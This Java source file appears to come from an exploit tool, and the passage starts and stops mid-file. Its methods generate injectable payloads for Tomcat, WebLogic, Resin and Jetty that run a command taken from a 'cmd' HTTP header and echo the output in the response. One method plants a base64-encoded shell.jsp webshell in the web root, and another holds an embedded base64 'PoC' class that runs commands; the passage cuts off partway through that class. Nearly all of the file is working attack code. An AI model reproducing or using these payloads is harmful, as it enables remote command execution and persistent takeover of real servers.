obj.getClass().getDeclaredField(\"global\");\n" + 248 | " }\n" + 249 | " field.setAccessible(true);\n" + 250 | " obj = field.get(obj);\n" + 251 | "\n" + 252 | " field = obj.getClass().getDeclaredField(\"processors\");\n" + 253 | " field.setAccessible(true);\n" + 254 | " obj = field.get(obj);\n" + 255 | "\n" + 256 | "\n" + 257 | " java.util.List processors = (java.util.List) obj;\n" + 258 | " for (Object o : processors) {\n" + 259 | " field = o.getClass().getDeclaredField(\"req\");\n" + 260 | " field.setAccessible(true);\n" + 261 | " obj = field.get(o);\n" + 262 | " org.apache.coyote.Request req = (org.apache.coyote.Request) obj;\n" + 263 | "\n" + 264 | " String cmd = req.getHeader(\"cmd\");\n" + 265 | " if (cmd != null) {\n" + 266 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 267 | "\n" + 268 | " org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();\n" + 269 | " bc.setBytes(res.getBytes(), 0, res.getBytes().length);\n" + 270 | " req.getResponse().doWrite(bc);\n" + 271 | " break label;\n" + 272 | " }\n" + 273 | " }\n" + 274 | " }\n" + 275 | " }catch(Exception e){\n" + 276 | " e.printStackTrace();\n" + 277 | " }\n" + 278 | " }"; 279 | 280 | return code; 281 | } 282 | 283 | public static String tomcat9Echo() { 284 | String code = "Object obj = Thread.currentThread();\n" + 285 | " java.lang.reflect.Field field = obj.getClass().getSuperclass().getDeclaredField(\"group\");\n" + 286 | " field.setAccessible(true);\n" + 287 | " obj = field.get(obj);\n" + 288 | "\n" + 289 | " field = obj.getClass().getDeclaredField(\"threads\");\n" + 290 | " field.setAccessible(true);\n" + 291 | " obj = field.get(obj);\n" + 292 | "\n" + 293 | " Thread[] threads = (Thread[])obj;\n" + 294 | " label:for(Thread thread : threads){\n" + 295 | " try{\n" + 296 | " if(thread.getName().contains(\"http-nio\") && thread.getName().contains(\"ClientPoller\")) {\n" + 297 | " field = thread.getClass().getDeclaredField(\"target\");\n" + 298 | " field.setAccessible(true);\n" + 299 | " obj = field.get(thread);\n" + 300 | "\n" + 301 | " field = obj.getClass().getDeclaredField(\"this$0\");\n" + 302 | " field.setAccessible(true);\n" + 303 | " obj = field.get(obj);\n" + 304 | "\n" + 305 | " field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n" + 306 | " field.setAccessible(true);\n" + 307 | " obj = field.get(obj);\n" + 308 | "\n" + 309 | " field = obj.getClass().getDeclaredField(\"global\");\n" + 310 | " field.setAccessible(true);\n" + 311 | " obj = field.get(obj);\n" + 312 | "\n" + 313 | " field = obj.getClass().getDeclaredField(\"processors\");\n" + 314 | " field.setAccessible(true);\n" + 315 | " obj = field.get(obj);\n" + 316 | "\n" + 317 | "\n" + 318 | " java.util.List processors = (java.util.List) obj;\n" + 319 | " for (Object o : processors) {\n" + 320 | " field = o.getClass().getDeclaredField(\"req\");\n" + 321 | " field.setAccessible(true);\n" + 322 | " obj = field.get(o);\n" + 323 | " org.apache.coyote.Request req = (org.apache.coyote.Request) obj;\n" + 324 | "\n" + 325 | " String cmd = req.getHeader(\"cmd\");\n" + 326 | " if (cmd != null) {\n" + 327 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 328 | " java.nio.ByteBuffer buffer = java.nio.ByteBuffer.wrap(res.getBytes());\n" + 329 | " req.getResponse().doWrite(buffer);\n" + 330 | " break label;\n" + 331 | " }\n" + 332 | " }\n" + 333 | " }\n" + 334 | " }catch(Exception e){\n" + 335 | " e.printStackTrace();\n" + 336 | " }\n" + 337 | " }"; 338 | 339 | return code; 340 | } 341 | 342 | public static String tomcatEcho(){ 343 | String code = " boolean flag = false;\n" + 344 | " ThreadGroup group = Thread.currentThread().getThreadGroup();\n" + 345 | " java.lang.reflect.Field f = group.getClass().getDeclaredField(\"threads\");\n" + 346 | " f.setAccessible(true);\n" + 347 | " Thread[] threads = (Thread[]) f.get(group);\n" + 348 | "\n" + 349 | " for(int i = 0; i < threads.length; i++) {\n" + 350 | " try{\n" + 351 | " Thread t = threads[i];\n" + 352 | " if (t == null) continue;\n" + 353 | "\n" + 354 | " String str = t.getName();\n" + 355 | " if (str.contains(\"exec\") || !str.contains(\"http\")) continue;\n" + 356 | "\n" + 357 | "\n" + 358 | " f = t.getClass().getDeclaredField(\"target\");\n" + 359 | " f.setAccessible(true);\n" + 360 | " Object obj = f.get(t);\n" + 361 | "\n" + 362 | " if (!(obj instanceof Runnable)) continue;\n" + 363 | "\n" + 364 | " f = obj.getClass().getDeclaredField(\"this$0\");\n" + 365 | " f.setAccessible(true);\n" + 366 | " obj = f.get(obj);\n" + 367 | "\n" + 368 | " try{\n" + 369 | " f = obj.getClass().getDeclaredField(\"handler\");\n" + 370 | " }catch (NoSuchFieldException e){\n" + 371 | " f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n" + 372 | " }\n" + 373 | " f.setAccessible(true);\n" + 374 | " obj = f.get(obj);\n" + 375 | "\n" + 376 | " try{\n" + 377 | " f = obj.getClass().getSuperclass().getDeclaredField(\"global\");\n" + 378 | " }catch(NoSuchFieldException e){\n" + 379 | " f = obj.getClass().getDeclaredField(\"global\");\n" + 380 | " }\n" + 381 | " f.setAccessible(true);\n" + 382 | " obj = f.get(obj);\n" + 383 | "\n" + 384 | " f = obj.getClass().getDeclaredField(\"processors\");\n" + 385 | " f.setAccessible(true);\n" + 386 | " java.util.List processors = (java.util.List)(f.get(obj));\n" + 387 | "\n" + 388 | " for(int j = 0; j < processors.size(); ++j) {\n" + 389 | " Object processor = processors.get(j);\n" + 390 | " f = processor.getClass().getDeclaredField(\"req\");\n" + 391 | " f.setAccessible(true);\n" + 392 | " Object req = f.get(processor);\n" + 393 | " Object resp = req.getClass().getMethod(\"getResponse\", new Class[0]).invoke(req, new Object[0]);\n" + 394 | "\n" + 395 | " str = (String)req.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(req, new Object[]{\"cmd\"});\n" + 396 | "\n" + 397 | " if (str != null && !str.isEmpty()) {\n" + 398 | " resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" + 399 | " String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", str} : new String[]{\"/bin/sh\", \"-c\", str};\n" + 400 | " byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(), System.getProperty(\"sun.jnu.encoding\"))).useDelimiter(\"\\\\A\").next().getBytes();\n" + 401 | "\n" + 402 | " try {\n" + 403 | " Class cls = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" + 404 | " obj = cls.newInstance();\n" + 405 | " cls.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});\n" + 406 | " resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" + 407 | " } catch (NoSuchMethodException var5) {\n" + 408 | " Class cls = Class.forName(\"java.nio.ByteBuffer\");\n" + 409 | " obj = cls.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(cls, new Object[]{result});\n" + 410 | " resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" + 411 | " }\n" + 412 | "\n" + 413 | " flag = true;\n" + 414 | " }\n" + 415 | "\n" + 416 | " if (flag) break;\n" + 417 | " }\n" + 418 | "\n" + 419 | " if (flag) break;\n" + 420 | " }catch(Exception e){\n" + 421 | " continue;\n" + 422 | " }\n" + 423 | " }"; 424 | 425 | return code; 426 | } 427 | 428 | public static String tomcatEcho2() { 429 | String code = "boolean flag = false;\n" + 430 | "\n" + 431 | " javax.management.MBeanServer mbeanServer = org.apache.tomcat.util.modeler.Registry.getRegistry((Object)null, (Object)null).getMBeanServer();\n" + 432 | " java.lang.reflect.Field field = Class.forName(\"com.sun.jmx.mbeanserver.JmxMBeanServer\").getDeclaredField(\"mbsInterceptor\");\n" + 433 | " field.setAccessible(true);\n" + 434 | " Object obj = field.get(mbeanServer);\n" + 435 | "\n" + 436 | " field = Class.forName(\"com.sun.jmx.interceptor.DefaultMBeanServerInterceptor\").getDeclaredField(\"repository\");\n" + 437 | " field.setAccessible(true);\n" + 438 | " com.sun.jmx.mbeanserver.Repository repository = (com.sun.jmx.mbeanserver.Repository) field.get(obj);\n" + 439 | "\n" + 440 | " java.util.Set objectSet = repository.query(new javax.management.ObjectName(\"Catalina:type=GlobalRequestProcessor,*\"), null);\n" + 441 | " for(com.sun.jmx.mbeanserver.NamedObject namedObject : objectSet){\n" + 442 | " javax.management.DynamicMBean dynamicMBean = namedObject.getObject();\n" + 443 | " field = Class.forName(\"org.apache.tomcat.util.modeler.BaseModelMBean\").getDeclaredField(\"resource\");\n" + 444 | " field.setAccessible(true);\n" + 445 | " obj = field.get(dynamicMBean);\n" + 446 | "\n" + 447 | " field = Class.forName(\"org.apache.coyote.RequestGroupInfo\").getDeclaredField(\"processors\");\n" + 448 | " field.setAccessible(true);\n" + 449 | " java.util.ArrayList procssors = (java.util.ArrayList) field.get(obj);\n" + 450 | "\n" + 451 | " field = Class.forName(\"org.apache.coyote.RequestInfo\").getDeclaredField(\"req\");\n" + 452 | " field.setAccessible(true);\n" + 453 | " for(int i = 0; i < procssors.size(); i++){\n" + 454 | " org.apache.coyote.Request req = (org.apache.coyote.Request) field.get(procssors.get(i));\n" + 455 | " String cmd = req.getHeader(\"cmd\");\n" + 456 | " if(cmd != null && !cmd.isEmpty()){\n" + 457 | " String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\n" + 458 | " byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(), System.getProperty(\"sun.jnu.encoding\"))).useDelimiter(\"\\\\A\").next().getBytes();\n" + 459 | "\n" + 460 | " Object resp = req.getClass().getMethod(\"getResponse\", new Class[0]).invoke(req, new Object[0]);\n" + 461 | " try {\n" + 462 | " Class cls = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" + 463 | " obj = cls.newInstance();\n" + 464 | " cls.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});\n" + 465 | " resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" + 466 | " } catch (NoSuchMethodException var5) {\n" + 467 | " Class cls = Class.forName(\"java.nio.ByteBuffer\");\n" + 468 | " obj = cls.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(cls, new Object[]{result});\n" + 469 | " resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" + 470 | " }\n" + 471 | "\n" + 472 | " flag = true;\n" + 473 | " }\n" + 474 | "\n" + 475 | " if(flag) break;\n" + 476 | " }\n" + 477 | " }"; 478 | 479 | return code; 480 | } 481 | 482 | public static String weblogicEcho1(){ 483 | String code = " Object obj = Thread.currentThread().getClass().getMethod(\"getCurrentWork\", null).invoke(Thread.currentThread(), null);\n" + 484 | " String cmd = (String) obj.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(obj, new Object[]{\"cmd\"});\n" + 485 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 486 | " Object r = obj.getClass().getMethod(\"getResponse\", null).invoke(obj, null);\n" + 487 | " Object os = r.getClass().getMethod(\"getServletOutputStream\", null).invoke(r, null);\n" + 488 | " obj = Class.forName(\"weblogic.xml.util.StringInputStream\").getConstructor(new Class[]{String.class}).newInstance(new Object[]{res});\n" + 489 | "\n" + 490 | " os.getClass().getMethod(\"writeStream\", new Class[]{Class.forName(\"java.io.InputStream\")}).invoke(os, new Object[]{obj});\n" + 491 | " os.getClass().getMethod(\"flush\", null).invoke(os, null);\n" + 492 | " obj = r.getClass().getMethod(\"getWriter\", null).invoke(r, null);\n" + 493 | " obj.getClass().getMethod(\"write\", new Class[]{String.class}).invoke(obj, new Object[]{\"\"});"; 494 | 495 | return code; 496 | } 497 | 498 | public static String weblogicEcho2(String command){ 499 | String cmd = command.split(":", 3)[2]; 500 | cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); 501 | 502 | String code = "Object obj = Thread.currentThread().getClass().getMethod(\"getCurrentWork\", null).invoke(Thread.currentThread(), null);\n" + 503 | " java.lang.reflect.Field field = obj.getClass().getDeclaredField(\"connectionHandler\");\n" + 504 | " field.setAccessible(true);\n" + 505 | " obj = field.get(obj);\n" + 506 | " String cmd = \"" + cmd + "\";\n" + 507 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 508 | "\n" + 509 | " Object r = obj.getClass().getMethod(\"getServletRequest\", null).invoke(obj, null);\n" + 510 | " Object o = r.getClass().getMethod(\"getResponse\", null).invoke(r, null);\n" + 511 | " Object s = o.getClass().getMethod(\"getServletOutputStream\", null).invoke(o, null);\n" + 512 | "\n" + 513 | " obj = Class.forName(\"weblogic.xml.util.StringInputStream\").getConstructor(new Class[]{String.class}).newInstance(new Object[]{res});\n" + 514 | "\n" + 515 | " s.getClass().getMethod(\"writeStream\", new Class[]{Class.forName(\"java.io.InputStream\")}).invoke(s, new Object[]{obj});\n" + 516 | " s.getClass().getMethod(\"flush\", null).invoke(s, null);\n" + 517 | " obj = o.getClass().getMethod(\"getWriter\", null).invoke(o, null);\n" + 518 | " obj.getClass().getMethod(\"write\", new Class[]{String.class}).invoke(obj, new Object[]{\"\"});"; 519 | 520 | return code; 521 | } 522 | 523 | public static String resinEcho(){ 524 | String code = " Class clazz = Thread.currentThread().getClass();\n" + 525 | " java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField(\"threadLocals\");\n" + 526 | " field.setAccessible(true);\n" + 527 | " Object obj = field.get(Thread.currentThread());\n" + 528 | "\n" + 529 | " field = obj.getClass().getDeclaredField(\"table\");\n" + 530 | " field.setAccessible(true);\n" + 531 | " obj = field.get(obj);\n" + 532 | "\n" + 533 | " Object[] obj_arr = (Object[]) obj;\n" + 534 | " for(int i = 0; i < obj_arr.length; i++) {\n" + 535 | " Object o = obj_arr[i];\n" + 536 | " if (o == null) continue;\n" + 537 | "\n" + 538 | " field = o.getClass().getDeclaredField(\"value\");\n" + 539 | " field.setAccessible(true);\n" + 540 | " obj = field.get(o);\n" + 541 | "\n" + 542 | " if(obj != null && obj.getClass().getName().equals(\"com.caucho.server.http.HttpRequest\")){\n" + 543 | " com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;\n" + 544 | " String cmd = httpRequest.getHeader(\"cmd\");\n" + 545 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 546 | " com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();\n" + 547 | " httpResponse.setHeader(\"Content-Length\", res.length() + \"\");\n" + 548 | " java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod(\"createResponseStream\", null);\n" + 549 | " method.setAccessible(true);\n" + 550 | " com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);\n" + 551 | " httpResponseStream.write(res.getBytes(), 0, res.length());\n" + 552 | " httpResponseStream.close();\n" + 553 | " }\n" + 554 | " }"; 555 | 556 | return code; 557 | } 558 | 559 | public static String jettyEcho(){ 560 | String code = " Class clazz = Thread.currentThread().getClass();\n" + 561 | " java.lang.reflect.Field field = clazz.getDeclaredField(\"threadLocals\");\n" + 562 | " field.setAccessible(true);\n" + 563 | " Object obj = field.get(Thread.currentThread());\n" + 564 | "\n" + 565 | " field = obj.getClass().getDeclaredField(\"table\");\n" + 566 | " field.setAccessible(true);\n" + 567 | " obj = field.get(obj);\n" + 568 | "\n" + 569 | " Object[] obj_arr = (Object[]) obj;\n" + 570 | " for(int i = 0; i < obj_arr.length; i++){\n" + 571 | " Object o = obj_arr[i];\n" + 572 | " if(o == null) continue;\n" + 573 | "\n" + 574 | " field = o.getClass().getDeclaredField(\"value\");\n" + 575 | " field.setAccessible(true);\n" + 576 | " obj = field.get(o);\n" + 577 | "\n" + 578 | " if(obj != null && obj.getClass().getName().endsWith(\"AsyncHttpConnection\")){\n" + 579 | " Object connection = obj;\n" + 580 | " java.lang.reflect.Method method = connection.getClass().getMethod(\"getRequest\", null);\n" + 581 | " obj = method.invoke(connection, null);\n" + 582 | "\n" + 583 | " method = obj.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" + 584 | " obj = method.invoke(obj, new Object[]{\"cmd\"});\n" + 585 | "\n" + 586 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 587 | "\n" + 588 | " method = connection.getClass().getMethod(\"getPrintWriter\", new Class[]{String.class});\n" + 589 | " java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, new Object[]{\"utf-8\"});\n" + 590 | " printWriter.println(res);\n" + 591 | "\n" + 592 | " }else if(obj != null && obj.getClass().getName().endsWith(\"HttpConnection\")){\n" + 593 | " java.lang.reflect.Method method = obj.getClass().getDeclaredMethod(\"getHttpChannel\", null);\n" + 594 | " Object httpChannel = method.invoke(obj, null);\n" + 595 | "\n" + 596 | " method = httpChannel.getClass().getMethod(\"getRequest\", null);\n" + 597 | " obj = method.invoke(httpChannel, null);\n" + 598 | "\n" + 599 | " method = obj.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" + 600 | " obj = method.invoke(obj, new Object[]{\"cmd\"});\n" + 601 | "\n" + 602 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 603 | "\n" + 604 | " method = httpChannel.getClass().getMethod(\"getResponse\", null);\n" + 605 | " obj = method.invoke(httpChannel, null);\n" + 606 | "\n" + 607 | " method = obj.getClass().getMethod(\"getWriter\", null);\n" + 608 | " java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null);\n" + 609 | " printWriter.println(res);\n" + 610 | " }\n" + 611 | " }"; 612 | 613 | return code; 614 | } 615 | 616 | public static String windowsEcho(String command){ 617 | String cmd = command.split(":", 3)[2]; 618 | cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); 619 | 620 | String code = " if(java.io.File.separator.equals(\"\\\\\")){\n" + 621 | " java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField(\"fd\");\n" + 622 | " field.setAccessible(true);\n" + 623 | "\n" + 624 | " Class clazz1 = Class.forName(\"sun.nio.ch.Net\");\n" + 625 | " java.lang.reflect.Method method1 = clazz1.getDeclaredMethod(\"remoteAddress\",new Class[]{java.io.FileDescriptor.class});\n" + 626 | " method1.setAccessible(true);\n" + 627 | "\n" + 628 | " Class clazz2 = Class.forName(\"java.net.SocketOutputStream\", false, null);\n" + 629 | " java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];\n" + 630 | " constructor2.setAccessible(true);\n" + 631 | "\n" + 632 | " Class clazz3 = Class.forName(\"java.net.PlainSocketImpl\");\n" + 633 | " java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});\n" + 634 | " constructor3.setAccessible(true);\n" + 635 | "\n" + 636 | " java.lang.reflect.Method write = clazz2.getDeclaredMethod(\"write\",new Class[]{byte[].class});\n" + 637 | " write.setAccessible(true);\n" + 638 | "\n" + 639 | " java.net.InetSocketAddress remoteAddress = null;\n" + 640 | " java.util.List list = new java.util.ArrayList();\n" + 641 | " java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();\n" + 642 | " for(int i = 0; i < 50000; i++){\n" + 643 | " field.set((Object)fileDescriptor, (Object)(new Integer(i)));\n" + 644 | " try{\n" + 645 | " remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor});\n" + 646 | " if(remoteAddress.toString().startsWith(\"/127.0.0.1\")) continue;\n" + 647 | " if(remoteAddress.toString().startsWith(\"/0:0:0:0:0:0:0:1\")) continue;\n" + 648 | " list.add(new Integer(i));\n" + 649 | "\n" + 650 | " }catch(Exception e){}\n" + 651 | " }\n" + 652 | "\n" + 653 | " for(int i = list.size() - 1; i >= 0; i--){\n" + 654 | " try{\n" + 655 | " field.set((Object)fileDescriptor, list.get(i));\n" + 656 | " Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});\n" + 657 | " String[] cmd = new String[]{\"cmd\",\"/C\", \"" + cmd + "\"};\n" + 658 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next().trim();\n" + 659 | " String result = \"HTTP/1.1 200 OK\\nConnection: close\\nContent-Length: \" + (res.length()) + \"\\n\\n\" + res + \"\\n\\n\";\n" + 660 | " write.invoke(socketOutputStream, new Object[]{result.getBytes()});\n" + 661 | " break;\n" + 662 | " }catch (Exception e){\n" + 663 | " //pass\n" + 664 | " }\n" + 665 | " }\n" + 666 | " }"; 667 | return code; 668 | } 669 | 670 | 671 | public static String shell(String command){ 672 | String content = ""; 673 | try{ 674 | String fileName = System.getProperty("user.dir") + File.separator + "config" + File.separator + "shell.jsp"; 675 | FileReader fileReader = new FileReader(fileName); 676 | BufferedReader bufferedReader = new BufferedReader(fileReader); 677 | 678 | String result = ""; 679 | String line = ""; 680 | while ( (line = bufferedReader.readLine()) != null){ 681 | result += line + "\n"; 682 | } 683 | 684 | bufferedReader.close(); 685 | fileReader.close(); 686 | 687 | BASE64Encoder encoder = new BASE64Encoder(); 688 | content = encoder.encode(result.getBytes()).replaceAll("\r|\n|\r\n", ""); 689 | } catch (FileNotFoundException e) { 690 | e.printStackTrace(); 691 | } catch (IOException e) { 692 | e.printStackTrace(); 693 | } 694 | 695 | String path = command.split(":",3)[2]; 696 | String code = "String p = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath();\n" + 697 | " p = p.substring(0, p.indexOf(\"WEB-INF\"));\n" + 698 | " p = java.net.URLDecoder.decode(p,\"utf-8\");\n" + 699 | " java.io.PrintWriter w = new java.io.PrintWriter((p + \"" + path + "\"));\n" + 700 | " sun.misc.BASE64Decoder d = new sun.misc.BASE64Decoder();\n" + 701 | " String s = new String(d.decodeBuffer(\"" + content + "\"));\n" + 702 | " w.println(s);\n" + 703 | " w.close();"; 704 | 705 | return code; 706 | } 707 | 708 | public static String autoFindRequestEcho(){ 709 | String code = " java.net.URL url;\n" + 710 | " if (java.io.File.separator.equals(\"/\")) {\n" + 711 | " url = new java.net.URL(\"file:///tmp/\");\n" + 712 | " }else{\n" + 713 | " url = new java.net.URL(\"file:///c:/windows/temp/\");\n" + 714 | " }\n" + 715 | " java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[]{url}, Thread.currentThread().getContextClassLoader());\n" + 716 | " urlClassLoader.loadClass(\"PoC\").newInstance();"; 717 | 718 | return code; 719 | } 720 | 721 | public static String writeClass(int i){ 722 | String content = "yv66vgAAADQAqgcAAgEAA1BvQwcABAEAEGphdmEvbGFuZy9PYmplY3QBAAFoAQATTGphdmEvdXRpbC9IYXNoU2V0OwEACVNpZ25hdHVyZQEAJ0xqYXZhL3V0aWwvSGFzaFNldDxMamF2YS9sYW5nL09iamVjdDs+OwEAAXIBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAFwAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEQwADQAOCQABABMMAAkACgkAAQAVDAALAAwHABcBABFqYXZhL3V0aWwvSGFzaFNldAoAFgARCQABABoMAAUABgoAHAAeBwAdAQAQamF2YS9sYW5nL1RocmVhZAwAHwAgAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7CgABACIMACMAJAEAAUYBABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABUxQb0M7AQABaQEAFShMamF2YS9sYW5nL09iamVjdDspWgoAFgAsDAAtACoBAAhjb250YWlucwoAFgAvDAAwACoBAANhZGQBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAA1TdGFja01hcFRhYmxlCgABADUMACkAKgcANwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QKAAMAOQwAOgA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7CgA9AD8HAD4BAA9qYXZhL2xhbmcvQ2xhc3MMAEAAQQEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWggAQwEAA2NtZAsANgBFDABGAEcBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgASQEAC2dldFJlc3BvbnNlCgA9AEsMAEwATQEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsKAE8AUQcAUAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAwAUgBTAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwBVAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2ULAFQAVwwAWABZAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsHAFsBABFqYXZhL3V0aWwvU2Nhbm5lcgoAXQBfBwBeAQARamF2YS9sYW5nL1J1bnRpbWUMAGAAYQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAF0AYwwAZABlAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAZwBpBwBoAQARamF2YS9sYW5nL1Byb2Nlc3MMAGoAawEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsKAFoAbQwADQBuAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCABwAQACXEEKAFoAcgwAcwB0AQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7CgBaAHYMAHcAeAEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwoAegB8BwB7AQATamF2YS9pby9QcmludFdyaXRlcgwAfQB+AQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAegCADACBAA4BAAVmbHVzaAcAgwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAFvAQAFZGVwdGgBAAFJCgA9AIgMAIkAigEAEWdldERlY2xhcmVkRmllbGRzAQAcKClbTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwoAjACOBwCNAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQMAI8AkAEADXNldEFjY2Vzc2libGUBAAQoWilWCgCMAJIMAJMAlAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgA9AJYMAJcAmAEAB2lzQXJyYXkBAAMoKVoKAAEAmgwACwAkBwCcAQATW0xqYXZhL2xhbmcvT2JqZWN0OwoAPQCeDACfADsBAA1nZXRTdXBlcmNsYXNzAQAFc3RhcnQBAAFuAQARTGphdmEvbGFuZy9DbGFzczsBAA1kZWNsYXJlZEZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAAXEHAKcBABpbTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAClNvdXJjZUZpbGUBAAhQb0MuamF2YQAhAAEAAwAAAAMACAAFAAYAAQAHAAAAAgAIAAgACQAKAAAACAALAAwAAAAEAAEADQAOAAEADwAAAFwAAgABAAAAHiq3ABABswASAbMAFLsAFlm3ABizABm4ABsDuAAhsQAAAAIAJQAAABoABgAAAAwABAANAAgADgAMAA8AFgAQAB0AEQAmAAAADAABAAAAHgAnACgAAAAKACkAKgABAA8AAABWAAIAAQAAABoqxgANsgAZKrYAK5kABQSssgAZKrYALlcDrAAAAAMAJQAAAA4AAwAAABQAEAAWABgAFwAmAAAADAABAAAAGgAxADIAAAAzAAAABAACDgEACgALACQAAQAPAAABYAAGAAIAAAC/GxA0owAPsgASxgAKsgAUxgAEsSq4ADSaAKeyABLHAFESNiq2ADi2ADyZAEUqwAA2swASsgASEkK5AEQCAMcACgGzABKnACqyABK2ADgSSAO9AD22AEqyABIDvQADtgBOwABUswAUpwAIVwGzABKyABLGAEayABTGAECyABS5AFYBALsAWlm4AFyyABISQrkARAIAtgBitgBmtwBsEm+2AHG2AHW2AHmyABS5AFYBALYAf6cABFexKhsEYLgAIbEAAgBHAGYAaQCCAHoAsgC1AIIAAwAlAAAASgASAAAAGwASABwAEwAeABoAHwAsACAAM